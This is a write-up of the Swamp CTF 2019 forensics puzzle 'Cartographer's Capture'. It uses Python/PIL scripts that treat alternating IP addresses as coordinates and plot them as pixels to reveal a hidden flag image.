Swamp CTF 2019 - Cartographer's Capture - Forensics 2 | 3 | Cartographer's Capture (498 pts) 4 | 5 | Forensics 6 | ``` 7 | We've gotten a hold of a file that contains a whole bunch of 8 | weird-looking IP addresses by having one of our robo-hounds 9 | sniff out some leaking data from a EvilCorp warehouse. We're 10 | ot sure how to decipher this but we know that this particular 11 | warehouse is one of the main sources for location information. 12 | 13 | -= Challenge by P4PA_0V3RL0RD =- 14 | ``` 15 | 16 | [ip_addresses.txt](ip_addresses.txt) 17 | 18 | ``` 19 | 65.236.181.168 20 | 194.164.163.71 21 | 65.236.181.221 22 | 194.164.163.71 23 | 65.236.182.17 24 | 194.164.163.71 25 | 65.236.182.70 26 | 194.164.163.71 27 | 65.236.182.122 28 | 194.164.163.71 29 | ... 30 | ``` 31 | 32 | In this challenge we get a lot of IP addresses, it is obvious that the addresses alternate between one that starts with *65* and another that starts with *194*. 33 | 34 | The title of the challenge suggests that these addresses correspond to coordinates on a map. 35 | 36 | Our goal will be to transform the IP addresses into coordinates that represent us in some way the flag. 37 | 38 | [@danitorwS](https://twitter.com/danitorwS) realized that there are only 8 different IP addresses that start with *65*, and in the same way 32 that start with *194*. 39 | 40 | We return to the initial idea of drawing the coordinates, so we write a script in python. Although at first, by not converting the value of the IP address to decimal, the words in the resulting image are not appreciated. 41 | 42 | ![](img/fuk.jpg) 43 | 44 | The flag is obtained by representing the IP addresses directly in a matrix of 32x8 pixels. 45 | 46 | [paint-ip.py](paint-ip.py) 47 | 48 | ![](img/flag-flip.png) 49 | 50 | We flip the image horizontally and vertically and obtain the flag. 51 | 52 | ![](img/flag.png) 53 | 54 | ### Alternative script 55 | 56 | If we convert each IP address to its decimal value and represent it as pixels on a map we can also obtain the flag. 57 | 58 | [paint-decimal.py](paint-decimal.py) 59 | 60 | ```python 61 | from PIL import Image, ImageDraw 62 | from socket import inet_aton 63 | import struct 64 | 65 | def ip2long(ip): 66 | packed = inet_aton(ip) 67 | lng = struct.unpack("!L", packed)[0] 68 | return lng 69 | 70 | squaresize = 18 71 | 72 | SIZE_X = 600 73 | SIZE_Y = 420 74 | 75 | image = Image.new('RGB', (SIZE_X, SIZE_Y), (255, 255, 255)) 76 | draw = ImageDraw.Draw(image) 77 | 78 | 79 | with open('ip_addresses.txt') as f: 80 | i = 0 81 | for line in f.readlines(): 82 | 83 | ip = ip2long(line.strip()) 84 | 85 | if i%2 == 0: 86 | ipy = ip - 1106031935 87 | else: 88 | ipx = ip - 3265569056 89 | 90 | x = SIZE_X - ipx 91 | y = SIZE_Y - ipy 92 | draw.rectangle((x, y, x-squaresize, y-squaresize), fill=0) 93 | 94 | i += 1 95 | 96 | image.save('flag.bmp') 97 | ``` 98 | ![](img/flag0.png) 99 | 100 | Thanks to [@danitorwS](https://twitter.com/danitorwS) 101 | -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/flag.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/swamp-ctf-2019/cartographers-capture/flag.bmp -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/img/flag-flip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/swamp-ctf-2019/cartographers-capture/img/flag-flip.png -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/swamp-ctf-2019/cartographers-capture/img/flag.png -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/img/flag0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/swamp-ctf-2019/cartographers-capture/img/flag0.png -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/img/fuk.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/swamp-ctf-2019/cartographers-capture/img/fuk.jpg -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/paint-decimal.py: -------------------------------------------------------------------------------- 1 | from PIL import Image, ImageDraw 2 | from socket import inet_aton 3 | import struct 4 | 5 | def ip2long(ip): 6 | packed = inet_aton(ip) 7 | lng = struct.unpack("!L", packed)[0] 8 | return lng 9 | 10 | squaresize = 18 11 | 12 | SIZE_X = 600 13 | SIZE_Y = 420 14 | 15 | image = Image.new('RGB', (SIZE_X, SIZE_Y), (255, 255, 255)) 16 | draw = ImageDraw.Draw(image) 17 | 18 | 19 | with open('ip_addresses.txt') as f: 20 | i = 0 21 | for line in f.readlines(): 22 | 23 | ip = ip2long(line.strip()) 24 | 25 | if i%2 == 0: 26 | ipy = ip - 1106031935 27 | else: 28 | ipx = ip - 3265569056 29 | 30 | x = SIZE_X - ipx 31 | y = SIZE_Y - ipy 32 | draw.rectangle((x, y, x-squaresize, y-squaresize), fill=0) 33 | 34 | i += 1 35 | 36 | image.save('flag.bmp') 37 | -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/paint-ip.py: -------------------------------------------------------------------------------- 1 | from PIL import Image, ImageDraw 2 | from socket import inet_aton 3 | import struct 4 | 5 | def ip2long(ip): 6 | packed = inet_aton(ip) 7 | lng = struct.unpack("!L", packed)[0] 8 | return lng 9 | 10 | squaresize = 10 11 | blanksize = 2 12 | 13 | SIZE_X = 32*(squaresize+blanksize) 14 | SIZE_Y = 8*(squaresize+blanksize) 15 | 16 | print("Image Size %sx%s" %(SIZE_X, SIZE_Y)) 17 | 18 | image = Image.new('RGB', (SIZE_X, SIZE_Y), (255, 255, 255)) 19 | draw = ImageDraw.Draw(image) 20 | 21 | with open('ip_addresses.txt') as f: 22 | i = 0 23 | ip_x = [] 24 | ip_y = [] 25 | 26 | for line in f.readlines(): 27 | ip = ip2long(line.strip()) 28 | 29 | if i%2 == 0: 30 | ip_y.append(ip) 31 | else: 32 | ip_x.append(ip) 33 | i += 1 34 | 35 | # Uniq+Sort IPs 36 | ip_x_uniq = list(set(ip_x)) 37 | ip_y_uniq = list(set(ip_y)) 38 | ip_x_uniq.sort() 39 | ip_y_uniq.sort() 40 | x_values = {} 41 | y_values = {} 42 | for i in range(len(ip_x_uniq)): 43 | x_values[ip_x_uniq[i]] = i 44 | for i in range(len(ip_y_uniq)): 45 | y_values[ip_y_uniq[i]] = i 46 | 47 | # Paint 48 | for i in range(len(ip_x)): 49 | #x = x_values[ip_x[i]]*(squaresize+blanksize) 50 | #y = y_values[ip_y[i]]*(squaresize+blanksize) 51 | #draw.rectangle((x, y, x+squaresize, y+squaresize), fill=0) 52 | 53 | x = SIZE_X - x_values[ip_x[i]]*(squaresize+blanksize) 54 | y = SIZE_Y - y_values[ip_y[i]]*(squaresize+blanksize) 55 | draw.rectangle((x, y, x-squaresize, y-squaresize), fill=0) 56 | 57 | image.save('flag.bmp') 58 | --------------------------------------------------------------------------------